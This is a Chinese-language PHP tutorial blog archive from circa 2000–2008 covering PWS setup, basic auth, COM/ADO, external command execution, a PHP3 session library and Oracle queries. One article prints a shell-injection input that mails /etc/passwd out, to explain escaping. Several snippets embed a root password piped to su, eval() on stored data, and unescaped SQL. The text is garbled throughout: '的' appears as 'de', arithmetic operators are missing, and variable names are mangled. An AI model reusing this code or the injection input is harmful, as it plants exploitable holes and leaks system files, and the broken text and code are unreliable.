Posts Tagged ‘在P’

在PWS上安装PHP4.0正式版

星期一, 06月 2nd, 2008

1、您可以从Windows 98de安装盘deadd-ons\pws\setup.exe中安装Personal Web Server,
选典型安装就可以了,使用缺省安装目录C:\Inetpub\wwwroot;
2、软件下载:
http://www.php.net/distributions/php-4.0.0-Win32.zip
3、用WinZIP等解压缩工具把php-4.0.0-Win32.zip解开到PHP安装目录,如C:\PHP,本文中
用$PHP_ROOT来代替PHP安装目录;
4、详细de英文安装文档请参考$PHP_ROOT目录下deREADME.txt文件;
5、将$PHP_ROOT目录下dephp.ini-dist文件拷贝到C:\WINDOWS目录,并将C:\WINDOWS\php.i
ni-dist改名为C:\WINDOWS\php.ini;
6、将$PHP_ROOT目录下deMSVCRT.DLL和php4ts.dll拷贝到C:\WINDOWS\System目录,如果C:\
WINDOWS\System目录下已经存在这些文件,请不要覆盖;
7、修改C:\WINDOWS\php.ini:
1) 将extension_dir设置为PHP安装目录,如:extension_dir = C:\PHP
2) 配置要加载de动态裢接库(DLL),注意一定要保证只能加载$PHP_ROOT目录下存在
de动态裢接库,该版本自带这些动态裢接库:php_calendar.dll、php_imap.dll、php_ldap
.dll,因此动态裢接库de配置栏如下:
;Windows Extensions
extension=php_calendar.dll
extension=php_imap.dll
extension=php_ldap.dll
8、运行regedit程序(开始->运行,输入regedit),找到下面de路径:
我de电脑
HKEY_LOCAL_MACHINE
System
CurrentControlSet
Services
W3SVC
Parameters
Script Map
然后右击Script Map->新建->串值,名称为.php(这时您dePHP程序就要以.php为后缀了
哦,当然您可以改成别de),双击刚建de串值,在键值输入框中输入php4isapi.dll文件de完
整路径$PHP_ROOT\php4isapi.dll,如C:\PHP\php4isapi.dll;
9、建一个PHP测试目录,如D:\MyPHP,在本文中用$MyPHP来代替该目录,打开PWS管理器(右
击状态栏下de一个小图标,点属性),打开后点高级配置,添加一个虚拟目录,目录为$MyPH
P,本例中为D:\MyPHP,别名为MyPHP,访问权限为读取、执行、脚本;
10、重启计算机;
11、在$MyPHP目录下写一个测试程序phpinfo.php(注意后缀要和8中de后缀一致哦),内容为
<? phpinfo(); ?>,然后在浏览器上输入http://localhost/myphp/phpinfo.php测试,能看
到phpde一些信息就表示装好了.

如何在PHP中进行身份认证

星期一, 06月 2nd, 2008

<?
if(!isset($PHP_AUTH_USER))
{
Header("WWW-Authenticate: Basic realm=请输入您de用户名和密码:");
Header("HTTP/1.0 401 Unauthorized");
echo "验证失败,您不能网络资源!";
exit;
}
else
{
if ($PHP_AUTH_USER!="username" or $PHP_AUTH_PW!="password")
{
Header("HTTP/1.0 401 Unauthorized");
echo "验证失败,您不能网络资源!";
exit;
}
}
?>

怎样在PHP中通过ADO调用Asscess数据库和COM程序

星期一, 06月 2nd, 2008

作者: John Lim.
翻译: znsoft(http://www.phpease.com znsoftm@21cn.com)
PHP4已经支持MicrosoftdeCOM技术.然而文档中在COM部分却提得很少.
这儿是几个我试过de例子.希望这些给您一些概念.注意de是这些只能运行在32位deMicrosoft Windows平台下.
用php激活ADO
ADO是Microsoftde数据库对象技术.ADO里面包括连接数据库de对象,从查询语句中返回数据de记录集对象和表现数据元素de字段对象.
许多数据库不直接支持ADO.代之de是很多数据库支持低两级deMicrosoft数据库技术:ODBC和OLEDB.许多数据库支持ODBC;但OLEDB有比ODBC更快de名声.
ADO则是包装ODBC和OLEDBdeAPI.
这个例了打开一个新deADO连接对象,对过ODBC打开一个传统deACCESS数据库,然后我执行SQL查询,会返回一个记录集对象.然后我显示记录集de前三个字段.

<?
$dbc = new COM("ADODB.Connection");
$dbc->Provider = "MSDASQL";
$dbc->Open("nwind");
$rs = $dbc->Execute("select * from products");
$i = 0;
while (!$rs->EOF) {
$i = 1;
$fld0 = $rs->Fields(0);
$fld1 = $rs->Fields(1);
$fld2 = $rs->Fields(2);
print "$fld0->value $fld1->value $fld2->value<BR>";
$rs->MoveNext();
}
$rs->Close();
?>

用PHP调用Microsoft Word
这是另一个例子:
<?
$word=new COM("word.application") or die("Cannot start Microsoft Word");
print "Loaded word version ($word->Version)\n";
$word->visible = 1 ;
$word->Documents->Add();
$word->Selection->Typetext("This is a test");
?>

在PHP中执行系统外部命令

星期一, 06月 2nd, 2008

PHP作为一种服务器端de脚本语言,象编写简单,或者是复杂de动态网页这样de任务,它完全能够胜任.但事情不总是如此,有时为了实现某个功能,必须借助于操作系统de外部程序(或者称之为命令),这样可以做到事半功倍.
那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面de顾虑呢?相信您看了本文后,肯定能够回答这些问题了.
是否可以?
答案是肯定de.PHP和其它de程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单de:只要用一个或几个函数即可.
前提条件
由于PHP基本是用于WEB程序开发de,所以安全性成了人们考虑de一个重要方面.于是PHPde设计者们给PHP加了一个门:安全模式.如果运行在安全模式下,那么PHP脚本中将受到如下四个方面de限制:
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTPde认证
在安全模式下,只有在特定目录中de外部程序才可以被执行,对其它程序de调用将被拒绝.这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是/usr/local/php/bin.
如果您调用一个应该可以输出结果de外部命令(意思是PHP脚本没有错误),得到de却是一片空白,那么很可能您de网管已经把PHP运行在安全模式下了.
如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供de专门函数
PHP提供共了3个专门de执行外部命令de函数:system(),exec(),passthru().
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中de差不多,它执行给定de命令,输出和返回结果.第二个参数是可选de,用来得到命令执行后de状态码.
例子:
<?
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定de命令,但不输出结果,而是返回结果de最后一行.虽然它只返回命令结果de最后一行,但用第二个参数array可以得到完整de结果,方法是把结果逐行追加到arrayde结尾处.所以如果array不是空de,在调用之前最好用unset()最它清掉.只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行de状态码.
例子:
<?
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
#$res是一个数据,每个元素代表结果de一行
exec("/bin/ls -l", $res, $rc);
#$rcde值是命令/bin/ls -lde状态码.成功de情况下通常是0
?>
passthru()
原型:void passthru (string command [, int return_var])
passthru()只调用命令,不返回任何结果,但把命令de运行结果原样地直接输出到标准输出设备上.所以passthru()函数经常用来调用象pbmplus(Unix下de一个处理图片de工具,输出二进制de原始图片de流)这样de程序.同样它也可以得到命令执行de状态码.
例子:
<?
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2) 用popen()函数打开进程
上面de方法只能简单地执行命令,却不能与命令交互.但有些时候必须向命令输入一些东西,如在增加Linuxde系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入rootde密码.这种情况下,用上面提到de方法显然是不行de.
popen()函数打开一个进程管道来执行给定de命令,返回一个文件句柄.既然返回de是一个文件句柄,那么就可以对它读和写了.在PHP3中,对这种句柄只能做单一de操作模式,要么写,要么读;从PHP4开始,可以同时读和写了.除非这个句柄是以一种模式(读或写)打开de,否则必须调用pclose()函数来关闭它.
例子1:
<?
$fp=popen("/bin/ls -l", "r");
?>
例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
<?
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为jamesde用户,
root密码是 verygood.仅供参考
*/
$sucommand = "su –login root –command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s \"%s %s\"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3) 用反撇号(`,也就是键盘上ESC键下面de那个,和~在同一个上面)
这个方法以前没有归入PHPde文档,是作为一个秘技存在de.方法很简单,用两个反撇号把要执行de命令括起来作为一个表达式,这个表达式de值就是命令执行de结果.如:
<?
$res=`/bin/ls -l`;
echo ‘<b><pre>’.$res.’</pre></b>’;
?>
这个脚本de输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时.
先看安全性.比如,您有一家小型de网上商店,所以可以出售de产品列表放在一个文件中.您编写了一个有表单deHTML文件,让您de用户输入他们deEMAIL地址,然后把这个产品列表发给他们.假设您没有使用PHPdemail()函数(或者从未听说过),您就调用Linux/Unix系统demail程序来发送这个文件.程序就象这样:
<?
system("mail $to < products.txt");
echo "我de产品目录已经发送到您de信箱:$to";
?>
用这段相关代码,一般de用户不会产生什么危险,但实际上存在着非常大de安全漏洞.如果有个恶意de用户输入了这样一个EMAIL地址:
‘–bla ; mail someone@domain.com < /etc/passwd ;’
那么这条命令最终变成:
‘mail –bla ; mail someone@domain.com < /etc/passwd ; < products.txt’
我相信,无论哪个网络管理人员见到这样de命令,都会吓出一身冷汗来.
幸好,PHP为我提供了两个函数:EscapeShellCmd()和EscapeShellArg().函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令de字符转义.这些字符在Shell中是有特殊含义de,象分号(),重定向(>)和从文件读入(<)等.函数EscapeShellArg是用来处理命令de参数de.它在给定de字符串两边加上单引号,并把字符串中de单引号转义,这样这个字符串就可以安全地作为命令de参数.
再来看看超时问题.如果要执行de命令要花费很长de时间,那么应该把这个命令放到系统de后台去运行.但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令de输出结果),这肯定会引起PHP脚本de超时.解决de办法是把命令de输出重定向到另外一个文件或流中,如:
<?
system("/usr/local/bin/order_proc > /tmp/null &");
?>

Hunte于2000年10月28日

在PHP3中实现SESSION的功能(一)

星期一, 06月 2nd, 2008

SESSION函数库:session.inc.php3
<?php
if (!isset($__session_inc__)){
$__session_inc__=1;
//require("cookie.inc.php3");
# ——————————————————————-
# Session Management v1.0 21.6.1998
# (c) Wild Karl Heinz <kh.wild@wicom.at>
#
# This Include handle Session based variable handling
#
# Please feel free and use it. If you make it more functional
# it would be nice to send me a copy.
#
# Don’t forget - Mysql_connect !
#
# The database structure
# Table structure for table ’session’
#
# CREATE TABLE session (
# id int(11) DEFAULT ‘0′ NOT NULL auto_increment,
# sid varchar(20) DEFAULT ” NOT NULL,
# val blob,
# times timestamp(14),
# PRIMARY KEY (id),
# KEY sid (sid),
# UNIQUE sid_2 (sid)
# );
#
# You’ll miss here a cron job to delete the old sessions from db
# ——————————————————————-
// 请注意上面被注释掉deCREATE TABLE语句,
// 您需要在您所使用de数据库上执行这条语句,
// 表名也可以不是session,那么就需要设置下面de$sess_table变量了.
// 此处您需要设置库名,和表名.
// 不过一般建议就使用session作为表名
$sess_db = ‘dbname’;
$sess_table = ’session’;
# —————————————————-
# Session_CheckID - 检查、设置并返回 Session-ID
# 参数……: cookie保存时间(以分钟计)
# 也可不设置表示这个 cookie 只在当前session 有效
# 这其实就象ASP中SESSIONde时效一样.
# 返回值….: 一个唯一deSession-ID (作为cookie存储)
# —————————————————-
function Session_CheckID( $min )
{
global $sess_sid;
if( !$sess_sid ) {
$sess_sid = uniqid( SC ); //取得一个唯一de随机数
/*
if( $min > 0 ) {
SetCookie("sess_sid", $sess_sid, time() ($min*60), "/", "", 0 );
}
else {
SetCookie("sess_sid", $sess_sid, "", "/", "", 0 );
}
上面是原先de相关代码,会出错.所以另外用了一个更好de函数.
函数库:cookie.inc.php3
*/
jssetcookie("sess_sid",$sess_sid,$min);
return( false );
}
else {
return( true );
}
}
# ———————————————————-
# str2arr - 将字符串转换成session数组
# 参数…..: string
# 返回值…: 全局数组(其实就是session)
#本函数用途:将字符串转换成session数组
#如"session[username]=yourid&session[userpass]=12345"
#将会被转换成下面de数组
# session[username]="yourid"
# session[userpass]="12345"
#请注意函数split(),each(),list(),eval()de用法.
# ———————————————————-
function str2arr( $ts )
{
global $session;
$vals = split( "&", $ts );
while( list($key,$val) = each($vals) ) {
list( $name, $wert ) = split( "=", $val );
if( $val ) eval( "$$name = "$wert";" );
}
}
# ———————————————————-
# session_read() - 从SESSION表中取数据,转换成session数组
# 参数……..: 无
# 返回值……: 如果读出数据,返回 true ,否则返回 false
#注意………: 用到了str2arr()这个函数
# ———————————————————-
function session_read()
{
# Hash array to keep session-variables
global $session;
global $sess_sid, $sess_db, $sess_table, $sess_error;
$sel = "Select val from $sess_table where sid = ‘$sess_sid’";
$res = mysql_db_query( $sess_db, $sel );
if( mysql_numrows( $res ) ) {
$val = mysql_result( $res, 0, "val" );
str2arr( $val );
mysql_free_result( $res );
return( true );
}
else {
return( false );
$sess_error = mysql_error();
}
}
# ——————————————————
# Split_Array() - 将session数组转换成字符串
# 参数…….: 数组
# 返回值…..: 数组转换得来de字符串
#
# Thanks to Rasmus (这人好象是PHPde发明人)
# 注意:将session数组转换成字符串
#如session[username]="yourid"
# session[userpass]="12345"
#将会被转换成"session[username]=yourid&session[userpass]=12345"
#同时该函数考虑到了数组de某个元素也是数据de情况
#这个函数被设计成一个递归函数
# ——————————————————
function Split_Array( $arr, $a = "", $b = "", $c = "" )
{
while( list( $key, $val ) = each( $arr ) ) {
if( is_array( $val ) ) {
$ts .= Split_Array( $arr[ $key ],
( strlen( $a ) ? $a : $key ),
( strlen( $b ) ? $b : ( strlen( $a ) ? $key : "" ) ),
( strlen( $c ) ? $c : ( strlen( $b ) ? $key : "" ) ) );
}
else {
$ts .= "session";
$ts .= $a ? "[$a]" : "";
$ts .= $b ? "[$b]" : "";
$ts .= $c ? "[$c]" : "";
$ts .= "[$key]=$val&";
}
}
return( $ts );
}
# —————————————————
# session_write - 将session数组转换成字符串,再存到session表中
# 参数.: 无
# 返回值…: 如果存入正常返回 true ,否则返回 false
# —————————————————
function session_write()
{
# Hash array to keep session-variables
global $session;
global $sess_sid, $sess_db, $sess_table;
global $sess_error;
# if you like to delete a session-cookie
# you must check it before writting the session
# array
if( !$sess_sid ) { session_checkid( 0 ); }
$ts = Split_Array( $session );
if( $ts > "" ) { $ts = substr( $ts, 0, strlen( $ts ) - 1 ); }
$res = mysql_db_query( $sess_db, "Select * from session where sid = ‘$sess_s’");
if( mysql_numrows( $res ) == 0 ) {
$sel = "Insert into $sess_table ( id, sid, val, times ) ";
$sel .= "values( 0, ‘$sess_sid’, ‘$ts’, NULL )";
}
else {
$sel = "Update $sess_table set val = ‘$ts’, ";
$sel .= "times = NULL where sid = ‘$sess_sid’";
}
if( !mysql_db_query( $sess_db, $sel ) ) {
$sess_error = mysql_error();
return( false );
}
else { return( true ); }
}
# ———————————————
# session_del - 清除当前所有desession
# 并删除session表中和当前session有关de记录
# 参数…..: 一个随机desession id
# 返回值…: 无
# ———————————————
function session_del()
{
global $session, $sess_db, $sess_table, $sess_sid;
$sel = "Delete from $sess_table where sid = ‘$sess_sid’";
if( !mysql_db_query( $sess_db, $sel ) ) {
$sess_error = mysql_error();
}
$sess_sid = ”;
}
}
?>
原作者:不详

在PHP3中实现SESSION的功能(三)

星期一, 06月 2nd, 2008

示例程序:test_session.php3
<?php require( "session.inc.php3");
require("cookie.inc.php3");
?>
<?php
session_checkid( 20 ); //20分钟后session失效
//下面您需要设置mysqlde连接参数
mysql_connect(’localhost’,'user’,'pass’) or Die("can’t connect to db!");
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Session/Cookie-测试</title>
</head>
<body>
<h2>This Page should show how to handle the "session.inc.php3" library</h2>
<h3>We will use a mask with a record showing routine</h3>
<?php
if( $show ) {
if( session_read() ) {
$username = $session[username];
$userpass = $session[userpass];
echo "<P>session[username]:$username
session[userpass]:$userpass";
}
}
else{
$session[username]="yourid";
$session[userpass]="12345";
if( !session_write() ) {
print $sess_error;
}else{
echo "<p>session[username]被设置成:$session[username]
" ;
echo "session[userpass]被设置成:$session[userpass]
" ;
echo "<a href=’$PATH_INFO?show=1′>测试一下SESSIONde作用</a>" ;
}
}
?>
</body>
</html>
原作者:不详

在PHP3中实现SESSION的功能(二)

星期一, 06月 2nd, 2008

COOKIE函数库:cookie.inc.php3
<?php
if (!isset($__cookie_inc__)){
$__cookie_inc__=1;
function JsSetCookie($CName,$CValue,$CExpr=FALSE){
// 这个函数允许您在HTML头标记之后设置cookie ,
// 可以作SetCookie函数de补充,甚至代替.
// $CName…..: cookie de名字
// $CValue….: cookie de值
// $CEXpr…..: cookie de有效期,以分钟为单位,也可以修改加入小时,天数
if($CExpr > 0){
$CookieString="astr= ‘$CName’ ‘=’ ‘$CValue’ ‘;expires=’ expr ‘;path=/’;";
$Cookie.="n<script language="javascript">n";
$Cookie.=’function makeYearExpDate(min){
var expire = new Date();
expire.setTime(expire.getTime() ((min * 60) * 1000));
expire = expire.toGMTString()
return expire
}
expr =makeYearExpDate(’.$CExpr.’);’;
$Cookie.="n".$CookieString."n";
$Cookie.="document.cookie=astr;n</script>n";
}else{
$Cookie.="n<script language="javascript">n";
$Cookie.="document.cookie=’$CName=$CValue;path=/’;";
$Cookie.="n</script>n";
}
echo $Cookie;
}
}
?>
原作者:不详

在PHP中使用灵巧的体系结构

星期一, 06月 2nd, 2008

很久以前我就想写这篇文章了,但是一直都没有时间.这里并不是想要告诉您怎样做,我希望它可以投石问路,和大家讨论一下如何开发一个好de、扩展性佳deweb应用.
  我从事开发已经有2-3年了,回望刚开始做de程序,真有点不相信是自己写de,现在我deweb开发技巧已经得到了很大de提高,例如sourceForge(http://sourceforge.net/)就是我较为成熟de一个作品,相关代码都被分成各种de类和函数.数据库de结构也很清晰.站点de不同部分都是与其它部分独立开来de.
  不过这个站点也不是完美de.如果我必需再写一遍,我将会通过对象或者函数库de方式,让HTML层与数据库层更明显地区分开来.
  我发现不少de管理者都喜欢用图表de形式来表示自己de想法,这里我也提供一个.这种体系de意念是要将您de逻辑从表层中独立开来,这意味着任何复杂de东西都会下放到“API/数据访问层”.
  对于安全检查、更新等相关代码,您最好不要放在HTML层中,您应该将这些理论上de相关代码放到API层.HTML层将只会进行简单de函数调用,并且返回数组、对象或者我最喜爱de数据库结果集.
  在这个图中,HTML接口或者直接调用API层,或者调用一个HTML工具库(例如产生弹出窗口等),而那些库通过一个数据库抽象层可调用数据库(这样您就不必绑定在某种数据库上).
基本de要点
对于一个灵巧de体系来说,有以下基本de要点:
1.数据库独立
2.表示层独立
3.便于修改
4.面向对象或者至少拆成函数库调用
这些都是我想到de,除了以上提到de外,肯定还有其它de要点,您可以在论坛中提出来.
以下就让我详细地讨论一下以上各点:
1.数据库独立
您在设计de时候,或许不会知道自己de站点de负担究竟有多大,应此您应该记住一点,不能绑定在轻量级de数据库上,例如MS Access或者其它.因此您应该考虑到扩展性,如果更换数据库de话,您不用做太大de改动,甚至不用做什么改动,这是最理想de.
使用PHP时,对于各种数据库de函数调用都是不同de,您需要针对使用de数据库进行不同de编码.为了改变这种情况,您可以使用一个数据库抽象层,例如类似PHPLib或者其它人开发de库.
2.表示层独立
假如您要开发一个真正巨大、复杂de应用,您就必需开始考虑数据库de接口问题,这样您可以少做很多复制和粘贴de工作.例如您需要让您de站点具有WAP功能,以便移动电话de用户可以访问到它.如果您de应用设计得好de话,您只需要写一个轻便deWAP表示层调用所有您de数据库访问对象就行了,但是,如果您de应用体系设计得不好,您就可能需要重新写一个,这样您就需要同时维护一个HTML版本和一个WAP版本.
例如在开发SourceForge站点时,我有大量de用户要提交他们debug和任务等.开始时我将它设计为全部通过web接口进行.后来在某些人de压力下,我决定使用XML接口展现数据库.我成功地将站点de核心逻辑由表示层中分离出来.现在deSourceForge上debug跟踪和其它工具都使用两个不同de库–HTML库类和数据库类.数据类负责检测输入de值是否有效,并且处理安全检测,而表示层只是根据成功/失败返回true或者false. 为了简化,在我必须解释基类和其它对象如何扩展这些基类时,这个例子将不会基于一个完美de对象模型.不过我想这个例子能帮您建立一些概念.
HTML类de例子
//连接数据库
require ("database.php");
//通常使用deHTML头部/页脚
require ("html.php");
//数据访问库类
require ("bug_data.php");
echo site_header("Page Title");
echo "
Updating A Bug

";
if (bug_data_update($field1,$field2,$field3)) {
echo "
Update Failed!
";
} else {
echo "
Updated Bug Successfully
";
//显示全局错误字符串
echo $feedback;
}
echo site_footer();
?>
Example Data Access Lib
/**
* 控制更新数据库中de一个bug
* 进行数据有效性和安全de检查,并且在成功时返回true,
* 失败时返回false
*
*
*/
function bug_data_update ($field1,$field2,$field3) {
//全局字符串,返回错误
global $feedback;
//$field1 and $field2 are required
if (!$field1 || !$field2) {
$feedback="Field 1 And Field 2 Are Required";
return false;
}
//确认用户有权更新
if (!user_isadmin()) {
$feedback="You Must Be An Admin To Update a Bug";
return false;
}
//现在可以更新该bug
$result=db_query("UPDATE bug ".
"SET field2=’$field2′,".
"field3=’$field3′ ".
"WHERE id=’$field1′");
//现在检查您de语句是否执行成功
if (!$result) {
//update failed
return false;
} else {
return true;
}
}
?>
3.便于修改
您当然不会在整个应用中都使用绝对deURL,不过我还要求更进一步,颜色de选择、元素de名字、字体和其它可能de选项最好也不是绝对de,它们应该在一个配置文件中设置,并且在每一页中将该文件包含进来.站点de风格也应该独立开来–这样您就无需在每个页面都进行拷贝粘贴de工作,我通常都将这些HTML放在一个函数中,然后就可以在需要时调用.
对于数据库密码、数据库连接等,同样也放在数据库抽象层中.
4.面向对象/函数
我可以将流程处理拆分成不同de函数调用.每个调用都做一件事情,有时只需要调用其它de函数并且返回结果.
一个很好de例子是在每页中检查一个用户是否已经登录.如果不使用对象或者函数de话,在您de认证系统变动de时候,您就必须在每一页作修改,而不是仅仅改变库中一个函数de调用.在写一段相关代码之前,您要想一下,如果它在站点中要使用不止一次,您就必须将它移到库中实现. 还有补充吗?
肯定我还有一些地方没有想到,因此请提出您de想法.特别是,您写了一个很大、很复杂de应用,我很想知道如果要您重新再写一次,您会建立怎样de体系并且会做什么改变.

如何在PHP中使用Oracle数据库(6)

星期一, 06月 2nd, 2008

利用OCI列出全部数据表’email_info’中de数据

同上,只不过用OCI来写
相关PHP相关代码:

PutEnv("ORACLE_SID=ORASID");
$connection = OCILogon ("username","password");
if ($connection == false){
echo OCIError($connection)."
";
exit;
}
$query = "select * from email_info";
$cursor = OCIParse ($connection, $query);
if ($cursor == false){
echo OCIError($cursor)."
";
exit;
}
$result = OCIExecute ($cursor);
if ($result == false){
echo OCIError($cursor)."
";
exit;
}
echo " ";
echo " Full Name Email Address
";
while (OCIFetchInto ($cursor, $values)){
$name = $values[0];
$email = $values[1];
echo " $name $email
";
}
echo " ";
OCILogoff ($connection);
?>

程序运行de浏览效果如下所示:

姓名 Email 地址
春花 springflower@163.com
秋月 autumnmoon@163.com
… …

如何在PHP中使用Oracle数据库(5)

星期一, 06月 2nd, 2008

利用ORA列出全部数据表’email_info’中de数据

下面,我将逐条读出数据库de内容,并以html表格形式显示’email_info’数据表中de数据
相关PHP相关代码:

PutEnv("ORACLE_SID=ORASID");
$connection = Ora_Logon ("username","password");
if ($connection == false){
echo Ora_ErrorCode($connection).": ".Ora_Error($connection)."
";
exit;
}
$cursor = Ora_Open ($connection);
if ($cursor == false){
echo Ora_ErrorCode($connection).": ".Ora_Error($connection)."
";
exit;
}
$query = "select * from email_info";
$result = Ora_Parse ($cursor, $query);
if ($result == false){
echo Ora_ErrorCode($cursor).": ".Ora_Error($cursor)."
";
exit;
}
$result = Ora_Exec ($cursor);
if ($result == false){
echo Ora_ErrorCode($cursor).": ".Ora_Error($cursor)."
";
exit;
}
echo " ";
echo " Full Name Email Address
";
while (Ora_Fetch_Into ($cursor, &$values)){
$name = $values[0];
$email = $values[1];
echo " $name $email
";
}
echo " ";
Ora_Close ($cursor);
Ora_Logoff ($connection);
?>

程序运行de浏览效果如下所示:

姓名 Email 地址
春花 springflower@163.com
秋月 autumnmoon@163.com
… …